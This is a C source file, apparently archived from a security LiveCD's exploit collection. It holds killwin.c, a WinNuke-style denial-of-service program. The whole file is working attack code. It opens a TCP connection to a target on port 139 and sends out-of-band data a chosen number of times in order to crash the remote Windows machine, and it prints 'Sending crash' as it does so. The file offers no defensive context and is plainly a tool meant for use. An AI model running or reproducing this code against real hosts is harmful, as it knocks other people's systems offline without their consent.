home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / killwin.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  93 lines

  1. /* killwin.c - winnuke idea, modifcation for me ONLY - napster */
  2.  
  3. #include <stdio.h>
  4. #include <netdb.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10.  
  11. int x, y, sockdesc, port = 139, hits = 1;
  12. char *target, *str = "Later.";
  13.  
  14. void parse_args(int argc, char *argv[]);
  15.  
  16. void usage(char *progname)
  17. {
  18.   printf("Usage: %s <target> [-p port (Default 139)] [-t hits (Default 1)]\n", progname);
  19.   exit(-1);
  20. }
  21.  
  22. void parse_args(int argc, char *argv[])
  23. {
  24.   target = argv[1];
  25.   if (argv[1][0] == '-')
  26.     {
  27.       printf("Must specify a target.\n");
  28.       exit(-1);
  29.     }
  30.   for(y=2;y<argc;y++)
  31.     {
  32.       if (!strcmp(argv[y], "-p"))
  33.         {
  34.           y++;
  35.           port = atoi(argv[y]);
  36.         }
  37.       if (!strcmp(argv[y], "-t"))
  38.         {
  39.           y++;
  40.           hits = atoi(argv[y]);
  41.         }
  42.     }
  43. }
  44.  
  45. void main(int argc, char *argv[])
  46. {
  47.  
  48.   struct sockaddr_in sin;
  49.   struct hostent *he;
  50.  
  51.   if (argc < 2) usage(argv[0]);
  52.  
  53.   parse_args(argc, argv);
  54.  
  55.   sin.sin_family  = AF_INET;
  56.   sin.sin_port    = htons(port);
  57.  
  58.   he = gethostbyname(argv[1]);
  59.  
  60.   if (he)
  61.     {
  62.       memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
  63.     }
  64.   else
  65.     {
  66.       perror("Resolving");
  67.     }
  68.  
  69.   sockdesc = socket(AF_INET, SOCK_STREAM, 0);
  70.  
  71.   if (sockdesc < 0)
  72.     {
  73.       perror("socket");
  74.       exit(-1);
  75.     }
  76.  
  77.   if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0)
  78.     {
  79.       perror("connect");
  80.       close(sockdesc);
  81.       exit(-1);
  82.     }
  83.  
  84.   printf("Connected to [%s:%d].\n", target, port);
  85.   printf("Sending crash %d times...\n", hits);
  86.  
  87.   for (x=0;x<hits;x++) send(sockdesc, str, strlen(str), MSG_OOB);
  88.   sleep(1);
  89.   printf("Done....\n");
  90.   close(sockdesc);
  91.   exit(0);
  92. }
  93. /*                    www.hack.co.za              [2000]*/